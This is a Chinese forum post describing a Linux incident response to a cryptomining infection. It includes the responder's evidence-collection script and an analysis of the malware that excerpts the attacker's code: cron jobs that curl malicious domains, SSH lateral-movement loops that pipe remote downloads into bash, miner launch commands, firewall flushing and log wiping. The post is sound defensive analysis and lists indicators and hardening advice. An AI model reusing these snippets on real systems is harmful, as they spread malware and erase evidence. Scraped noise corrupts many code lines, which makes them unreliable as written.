你的浏览器版本过低,可能导致网站不能正常访问!
为了你能正常使用网站功能,请使用这些浏览器。

Linux应急响应笔记来了

[复制链接]
gaosmile 发布时间:2021-2-2 11:28
背景
前一段时间我处理了一次应急响应,我还输出了一篇文章 Linux应急响应笔记。这两天又处理了一次病毒入侵,在前一次的基础上,这次应急做了一些自动化脚本,应急响应效率有了一定程度的提升,故另做一份笔记。
PS:本文重在分享应急响应经验,文中保留了恶意网址,但是删除了恶意脚本及程序的下载路径。本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。
应急操作笔记
查看我上一次 Linux应急响应笔记,我发现罗列这么多命令,很多时候眼花缭乱,操作起来也不方便,不如写个shell脚本自动化收集信息。
自动化信息收集
我的自动化手机信息的脚本如下,脚本的初衷是进行自动化信息收集,不需要我去连接到客户设备,提升操作/沟通效率。

  1. 7 x4 M  s5 m: o0 H& E
  2. #!/bin/bash6 D6 v  v0 Y% M7 D( _3 N2 g

  3. 7 T0 z5 \0 U* b
  4. function initial(){
    6 r; w! b0 e! K; J$ ^- [
  5.     echo "Doing initial"
    4 a1 X6 D: }3 Y* \5 c. h% S  Q" B
  6.     mkdir /tmp/GatherInfo    3 y4 S2 I) G$ d& f
  7.     chmod +x ./chkrootkit) d  D3 R. P  G& t- [7 {# W
  8.     chmod +x ./busybox
    1 r+ C5 a6 S$ V( o
  9. }
    " y/ I" q! l! z; a1 _6 ^
  10. ) T2 I. l( V; d3 @' x
  11. function chkrootkit_info(){* T% t& ~# w) S8 p& D3 X: V! X
  12.     echo "Doing chkrootkit"+ g. C: r0 C2 ]( `% R! `" w
  13.     ./chkrootkit > /tmp/GatherInfo/chkrootkit.log 2>&1! F+ |( @; K- D* j+ N# |6 l, b
  14. }' a, c0 f, Q6 a

  15. 9 a5 Q5 x; {& {9 f+ t; D
  16. function network_info(){- a# z9 V4 d4 {0 F8 [' [3 W+ B
  17.     echo "Gathering network info"
    9 S, X3 ~2 h6 Y! Y2 }; p
  18.     netstat -tulnp > /tmp/GatherInfo/netstat_tulnp.log 2>&1
    5 h* F3 {* H4 M2 Z$ ]0 z3 y
  19.     netstat -anp > /tmp/GatherInfo/netstat_anp.log 2>&1
    9 ], P7 h9 s  Y* F, n
  20. }' r# N( B+ n5 f% |( ?/ o: l7 S5 o$ p
  21. ' r4 j5 V# G4 J& Q7 y' _6 ?
  22. function process_info(){
    4 Y% D' Y( b- F7 a4 }( L! O! B
  23.     echo "Gathering process info"
    : Q" {+ L) B' q- B9 i
  24.     ps aux > /tmp/GatherInfo/ps_aux.log 2>&1
    : o; M/ G6 V, |
  25.     ps auxef > /tmp/GatherInfo/ps_auxef.log 2>&1
    . _$ V$ J2 Y! ?) U; W% C6 j2 G# O: C
  26.     top -n 1 > /tmp/GatherInfo/top_n1.log 2>&1% K3 g, @2 _3 \* G; ^6 `# s+ D
  27. }, p9 y6 O2 ?+ R

  28. 2 o4 a  i8 e$ U4 M0 O# q
  29. function init_info(){& ^1 _& Q  Q6 |, x) y0 U
  30.     echo "Gathering init info"
    4 H' o( h% h" V! h$ `6 j, [- m
  31.     chkconfig --list > /tmp/GatherInfo/chkconfig_list.log 2>&1) F7 [2 t  j7 @% _4 c  I) W) N
  32.     ls -alt /etc/init* > /tmp/GatherInfo/ls_alt_etc_init.log 2>&1
    8 A& h& M. v4 i& F& r/ B/ c" P# D
  33. }
    2 t, U' X( D' k/ m" e/ z& v

  34. ; E; D: \0 w( P4 x4 Z+ m2 L+ _: \0 l2 F
  35. function cron_info(){
    ( H: K' }; R: W7 K/ X. U; Q/ c+ O
  36.     echo "Gathering cron info"
    ; x! D  |8 F/ |6 ~9 v
  37.     cat /etc/crontab > /tmp/GatherInfo/crontab.log 2>&1
    " a# p2 N4 [1 L/ B9 y" e) y
  38.     cat /etc/anacrontab > /tmp/GatherInfo/anacrontab.log 2>&16 P: R/ x2 j4 Q% [& M6 z5 A3 g
  39.     crontab -l > /tmp/GatherInfo/crontab_l.log 2>&1
    , W" I4 P$ ]' X6 c: z( m  q

  40.   F( n1 l+ m" g
  41.     cd /etc/cron.d/
    + E1 m/ L: {  N0 s' a1 b
  42.     cat * > /tmp/GatherInfo/etc_cron.d.log 2>&1
    3 F8 W. X. f8 Z9 y  ^1 m
  43.     cd /etc/cron.daily/
    % V/ V( O& z9 \! v
  44.     cat * > /tmp/GatherInfo/etc_daily.log 2>&1
      s# ]; ]( N- x. T0 D8 K( N" L
  45.     cd /etc/cron.hourly/' [8 O5 x) l" N* U
  46.     cat * > /tmp/GatherInfo/etc_hourly.log 2>&1
    : b! o& [6 b2 }$ T, w1 c/ h3 j& Q
  47.     cd /etc/cron.monthly/( X7 w! w" k6 a2 g; S+ O3 k
  48.     cat * > /tmp/GatherInfo/etc_monthly.log 2>&1
    4 o3 B" q/ K6 H3 h
  49.     cd /etc/cron.weekly/
    ' v# Z) M2 h+ F7 W3 t  ]
  50.     cat * > /tmp/GatherInfo/etc_weekly.log 2>&1
    ' d" {5 S: s! }/ i, t
  51.     cd /var/spool/cron/
    ; c% L2 z& n' Z- ?! W2 @
  52.     cat * > /tmp/GatherInfo/var_spool_cron.log 2>&1
    ! v# ^: L0 n6 z( v; @- R7 |1 y" \) J$ P
  53.     cd /var/spool/anacron/
    ) @+ u$ X8 u& p6 @: X
  54.     cat * > /tmp/GatherInfo/var_spool_anacron.log 2>&17 c. a0 _, D5 ~( x' V8 a
  55. }
    " c) S: {1 m8 v& p
  56. & k9 Y8 ?: Z5 @) G2 g) n) O5 G
  57. function other_info(){  ^& z. g1 J+ n0 l! h# |
  58.     echo "Gathering other info"
    . b. D' |; R0 F
  59.     cat /etc/passwd | grep -v nologin > /tmp/GatherInfo/passwd.log 2>&1- g& M9 b5 t- w
  60.     ls -alt /tmp > /tmp/GatherInfo/tmp.log 2>&1
    / A0 D/ |) l2 R$ W- W
  61.     ls -alt /var/tmp > /tmp/GatherInfo/var_tmp.log 2>&1
    / W! P4 y* J# P1 u
  62.     ls -alt /dev/shm > /tmp/GatherInfo/dev_shm.log 2>&1. q& L" ^% a, @2 Q
  63.     echo $LD_PRELOAD > /tmp/GatherInfo/LD_PRELOAD.log 2>&1% o4 ~* Q3 `! X3 U* W1 L
  64.     cat /etc/ld.so.preload > /tmp/GatherInfo/etc_ld.so.preload.log 2>&1
    6 }9 R, [$ c; n% w1 z! j5 [
  65.     s -alt /root/.ssh > /tmp/GatherInfo/ls_alt_root_.ssh.log 2>&1
    " q% F, L6 M5 A( `2 n4 Q5 Y
  66.     cat /root/.ssh/* > /tmp/GatherInfo/cat_root_.ssh.log 2>&1
    4 S1 b  V5 R) C" Y; D) o; V1 t6 n
  67. , T0 x7 X6 P5 y0 m- |3 T" K  J
  68.     for user in /home/*
    * A; ?" j' k" \6 t
  69.     do& Q$ U, l, q' R  ^) E
  70.         if test -d $user;then0 g. U3 }  H$ _- o# Y
  71.             cat /$user/.ssh/* > /tmp/GatherInfo/cat_$user_.ssh.log 2>&1
    / [* p9 a9 E$ b2 ?
  72.         fi2 m* d. @* d6 z) }/ ~6 G0 X% j) ?5 `
  73.     done
    ' r, Z- R/ ^8 N4 X8 F5 u2 V
  74. }0 z$ k' b0 C& E7 L

  75. % e1 t2 Z# h; x' U& {
  76. initial. P5 _$ ~  ^. H' E
  77. chkrootkit_info
    2 s4 q! e# j$ Y( g$ N
  78. network_info
    ; L/ s. ~. a6 f, a$ Y" t% E0 O
  79. process_info# p  U3 ^1 w1 ]
  80. init_info  u! h1 f1 k, W% O- ^
  81. cron_info
    ) \2 g" s2 a0 I4 h. V# z5 i& G
  82. other_info
    4 {3 L. w/ o! n$ t

  83. * W& I! O; i& M' K4 y5 H
  84. cd /tmp* L5 @! ^: Z' a5 n% X% q& r
  85. tar -zcvf GatherInfo.tar.gz GatherInfo
复制代码
信息收集结果分析
查看自动化收集的信息GatherInfo下的所有文件内容,根据下面的Checklist表项进行挨个梳理排查
应急响应检查表
微信图片_20210202112754.jpg
微信图片_20210202112758.jpg
在排查进程,网络时都未发现异常。在排查定时任务crontab时,发现三行异常的定时任务

  1. $ y3 N; X) }; h; C. @' p# p9 c
  2. 59 * * * * root (curl -fsSL http://t.amynx.com/ ......6 u' U5 x' d  {* W! K' m
  3. 28 * * * * root (curl -fsSL http://t.jdjdcjq.top/ ......
      I' b% Q+ r9 H
  4. 13 * * * * root ps aux|grep lplp.ackng.com ......
复制代码

, w' T. e: m, S0 Y- l! F
我把恶意脚本获取到本地,这是一个shell脚本,接下来分析看看这个脚本干什么
恶意脚本分析
恶意脚本脚本共439行代码,前面300行都是删除文件和杀死进程,我简单摘要几段代码

  1. ( p  [+ [* ~9 G* V
  2. #/bin/bash5 h( O$ Z' @; H6 K
  3. processes(){2 O7 A: z4 M. a9 R' a" h
  4.     killme() {
    : {$ [. I( b" c* s9 [  l; p
  5.       killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &, b& g9 }0 E* C  }- q, r
  6.     }
    + `* s, e7 m% j# m3 B
  7.   N6 W+ ~/ p$ r4 |/ o: p
  8.     killa() {1 o' o7 l+ w3 j% `, ?* s
  9.     what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&, f4 J- \9 q6 g+ ~( N; M3 K
  10.     }
    3 ]/ x' S0 H, a( _3 k
  11. 7 L  l3 u8 g" C3 k( H
  12.     killa 34e2fg
    6 G* J: K4 }7 |: d; D, ?
  13.     killme
    , o0 ^3 ^+ L% k0 p9 p# E" y8 o
  14. ( C" K, |0 A) X* |1 l3 g
  15.     killall \.Historys: N5 V5 k* M; H" X0 h9 H
  16.     killall \.sshd
    / ]- g% B8 A( P" ^5 ~& N/ S
  17.     killall neptune5 F( K) ]4 c  U" V! ]
  18.     killall xm643 a8 \1 {6 D/ m9 P6 X% A
  19.     killall xm32& I7 ~9 g/ C% ^
  20.     killall xmrig3 m3 g2 R, g( M1 X9 l
  21.     killall \.xmrig! H3 b+ C! S* Y9 t$ a2 ~
  22.     killall suppoieup8 u" L( K  I3 J1 R9 Z1 L  f( q
  23. 8 m, H3 d' j6 n& |
  24.     # sshd
    4 V( A, Q6 A3 K7 H# g3 o6 W
  25.     ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid
    7 ]. s- Q+ Y1 B4 T% C& d: ~
  26.     while read sshdpid% e% V% c5 ]9 D6 C* C
  27.     do
    + N/ M! Z7 E. _& {$ c+ X
  28.         if [ $(echo  $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
    # V* l6 |: Z, S0 {
  29.         then( c& t0 F9 X3 a* M
  30.             kill $sshdpid
    " @/ ~5 c% ?0 m3 B) B
  31.         fi$ Y) \8 X! ~3 _+ i# B, t& X: t
  32.     done < /tmp/ssdpid) r1 i) C/ n- }9 N/ d" Q' x  R
  33.     rm -f /tmp/ssdpid
    8 W7 [  f* {5 v8 M. X) e; r
  34. ! H, `) m! Y' ?; X
  35. # Removing miners by known path IOC! i# }! f. ]8 U; c/ B
  36. files(){4 w* l/ j8 R* B" t& K: I0 H
  37.     ulimit -n 65535+ Z/ O7 I! f! s! A! F
  38.     rm -rf /var/log/syslog
    ; N+ j: p5 M# y( @) f
  39.     chattr -iua /tmp/
    ( r% V/ B1 j$ B6 h: d; Y
  40.     chattr -iua /var/tmp/) a7 S8 ?0 Q& _2 T1 P0 _
  41.     chattr -R -i /var/spool/cron' o0 w/ l' H# f! h3 z5 q. L
  42.     chattr -i /etc/crontab
    $ B2 G" n+ S$ Z7 ^* W5 P( Z/ c' q% `
  43.     ufw disable
    9 v) m* z3 v, R! {* O2 y$ |, X) O
  44.     iptables -F
    % l2 e9 s0 g5 {. l. R
  45.     echo "nope" >/tmp/log_rot; ]" j( e2 P& F0 i! [$ k
  46.     sudo sysctl kernel.nmi_watchdog=0
    5 E1 n9 X. `* ]1 M
  47.     echo '0' >/proc/sys/kernel/nmi_watchdog8 ^' k& Z! ~4 _# t6 [- v$ |
  48.     echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
    4 W! P' [* x4 s1 \
  49.     rm /tmp/.cron
    0 i0 e9 N1 m* ]) o. j( i
  50.     rm /tmp/.main
    $ w& v- B4 l, }7 a* A! S( |
  51.     rm /tmp/.yam* -rf3 R/ _5 S# N" N
  52.     rm -f /tmp/irq) q# j" |8 R" r7 y/ ?3 ]
  53. + `( w0 Y2 F2 b. H
  54. # Killing and blocking miners by network related IOC# h; N3 Z( h8 g: |# z& H
  55. network(){
    ( ^% \5 H3 z: m& u" p9 W* l
  56.     # Kill by known ports/IPs
    6 Z. n6 @  h% k( E9 U
  57.     netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    & `1 z/ g3 {/ y/ p
  58.     netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9* T1 z3 G- b1 B
  59. " Y. c' c" d, X' _8 m7 S/ p
  60. files% w: K7 Y4 o; c* I+ c! a* J
  61. processes
    + [4 m' t% D2 U, s& c1 m
  62. network
    6 j! g: l$ w$ Z  X0 m  J
  63. echo "DONE"
复制代码

! l# |" ]& S0 B2 U8 P. k
接下来是下载恶意二进制程序以及ssh横向传播

  1. ( a/ B* {# g0 x0 n* M2 v3 @9 P+ b
  2. 代码片段10 g; M3 c1 i8 c1 U# |2 s) y3 T
  3. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then  Z$ g. ]7 E) S3 Y
  4.   for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ......
    1 o! ?8 \2 [. A
  5. fi4 _0 _3 ^+ b7 J4 W, e& B
  6. 5 c( g3 F4 s# F6 X$ B% ?0 |
  7. 代码片段2
    4 _6 ~% ~4 o. ]: A8 ^
  8. for file in /home/*
    ' ]& g/ i6 T* j5 ?- a$ t
  9. do3 g. s1 {+ ]2 ^
  10.     if test -d $file; then
    9 M' f2 W7 l+ O% O  d% _5 j1 [
  11.         if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
    4 v9 f+ k: b* }' e6 y
  12.             for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &' & done
    : L( d; y* i- p: V5 b
  13.         fi  j4 C9 L5 ]; M# e# e7 w
  14.     fi
    7 g% J2 n- ]7 n! a; |3 B
  15. done: e7 Y* Y" Q( ^" o9 D6 _$ ~5 g
  16. 1 @  s) _, J- _: A
  17. 代码片段3# m) P6 Q  c8 H' f* c
  18.   for user in $userlist; do1 `6 \2 M$ _" ~8 A6 M
  19.     for host in $hostlist; do- {2 k) v; ^  |) a* t: O7 P
  20.       for key in $keylist; do$ X+ K' R1 u' y+ t: \: z: z
  21.         for sshp in $sshports; do
    ( ^% [7 f( x9 B6 V5 r0 |7 k. v
  22.           i=$((i+1))
    1 u8 S7 H+ |$ ?: P
  23.           if [ "${i}" -eq "20" ]; then+ |# W! f- B' O: g5 t0 w6 ^) [
  24.             sleep 20% q3 T4 h9 _2 d' r. h, F' S( C
  25.             ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &3 H$ j" q; A, o7 a- z
  26.             i=0
    6 k. i( b/ A$ g: K$ J
  27.           fi
    3 L* ^( p% e0 L
  28.           #Wait 20 seconds after every 20 attempts and clean up hanging processes+ U: y- Q/ T6 x' W+ V  O! G
  29. # O6 M5 H' U& a* B  _- s
  30.           chmod +r $key% n7 i+ B: x$ ?: }' K
  31.           chmod 400 $key
    * @6 C/ T% g9 S3 S' d- B! |
  32.           echo "$user@$host $key $sshp"0 z4 ^  j$ s! w5 @* j3 }/ z; I
  33.           ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &") W4 m: O$ {  ?! e- k; i
  34.         done0 ^! n: J& T% x+ B0 [& }1 }  M8 S
  35.       done4 V, b8 m0 P2 n( C
  36.     done
    % A$ ?/ b* _2 `( G2 w
  37.   done
复制代码

2 |) D; f. a" L3 Z. l# n5 t
上面这三段代码是通过ssh的证书登录方式横向感染传播。

  1. ( f+ D# i  n7 a$ v2 A
  2. if [ ! -d "/.Xll" ];then
    , w7 I. e+ W7 j
  3.     mkdir /.Xll9 Y! h+ t- A0 L! a
  4. fi6 U; y, g( o8 A; A
  5. cd /.Xll
      l7 {3 W+ B6 X  A& N
  6. if [ ! -f "./xr" ];then" T1 g8 }# b/ ?( \( T( S
  7.     uname -a|grep x86_64 && (curl -fsSL d.ackng.com/ ......
    & R% O  o# Y9 Y
  8. fi
      y: @. ?$ w2 |7 N
  9. uname -a|grep x86_64 && ps aux|grep lplp.ackng.com |grep -v grep || ./xr -o lplp.ackng.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529
复制代码

! F% z1 w/ |& {1 e
上面这段代码是下载恶意二进制程序,应该就是挖矿病毒本体。
最后是清理痕迹
  1. # A3 K( N, P  u4 {- q9 U
  2. history -c
    $ _3 u6 y3 P) E
  3. echo 0>/var/spool/mail/root$ e. `& N7 _. _+ l. r2 _6 m
  4. echo 0>/var/log/wtmp  q4 F+ J7 Q* V; F, o( O( L
  5. echo 0>/var/log/secure  u& Y  Q. @% S5 t# N& y
  6. echo 0>/var/log/cron
    3 j5 l; e+ \# Q- ~5 Y4 C+ m
  7. echo > /root/.bash_history
复制代码
清理与恢复
根据恶意脚本的逻辑,整理出清理步骤如下 1 删除crontab恶意定时任务 2 杀死./xr进程 3 删除/.Xll 目录
总结与反思病毒标识
目录及文件 /.Xll 和 /.Xll/xr
进程表示 ps aux | grep lplp.ackng.com
两个域 t.amynx.com, t.jdjdcjq.top
挖矿威胁小于勒索
每次碰到病毒入侵要应急都心惊胆颤,挖矿病毒都还好,最坏情况是重装个环境,客户的数据是安全的,如果是勒索病毒就会很棘手。
无论如何,还是尽量保证系统安全性,减小系统入侵攻击面,这样可以极大保护系统不被入侵。
防护建议
一般来说,自动化的入侵一般都是利用非常简单的漏洞,比如若口令,使用存在漏洞的组件,未授权访问等,另外一个感染病毒的方式是ssh证书认证。如上文提到的,针对ssh横向传播就有三个方式,看来这种方式还是很受青睐的。所以对于厂商来说,还是要适当的控制ssh证书登入。
最后,我把上述用到的脚本和checklist放在https://github.com/kafroc/emergency-response-toolbox 中,有需要的读者可下载使用,欢迎任何的反馈意见。

8 t: M: U: e5 W. D" o- q) v
赞 收藏 评论0 发布时间:2021-2-2 11:28

举报

0个回答
关于
我们是谁
投资者关系
意法半导体可持续发展举措
创新与技术
意法半导体官网
联系我们
联系ST分支机构
寻找销售人员和分销渠道
社区
媒体中心
活动与培训
隐私策略
隐私策略
Cookies管理
行使您的权利
官方最新发布
人形机器人运动控制、感知与智能配电
半导体创新技术与应用方向
EE架构与软件定义汽车
12V/48V 汽车智能配电(SPD)
区域控制单元(ZCU)与分区架构
关注我们
st-img 微信公众号
st-img 手机版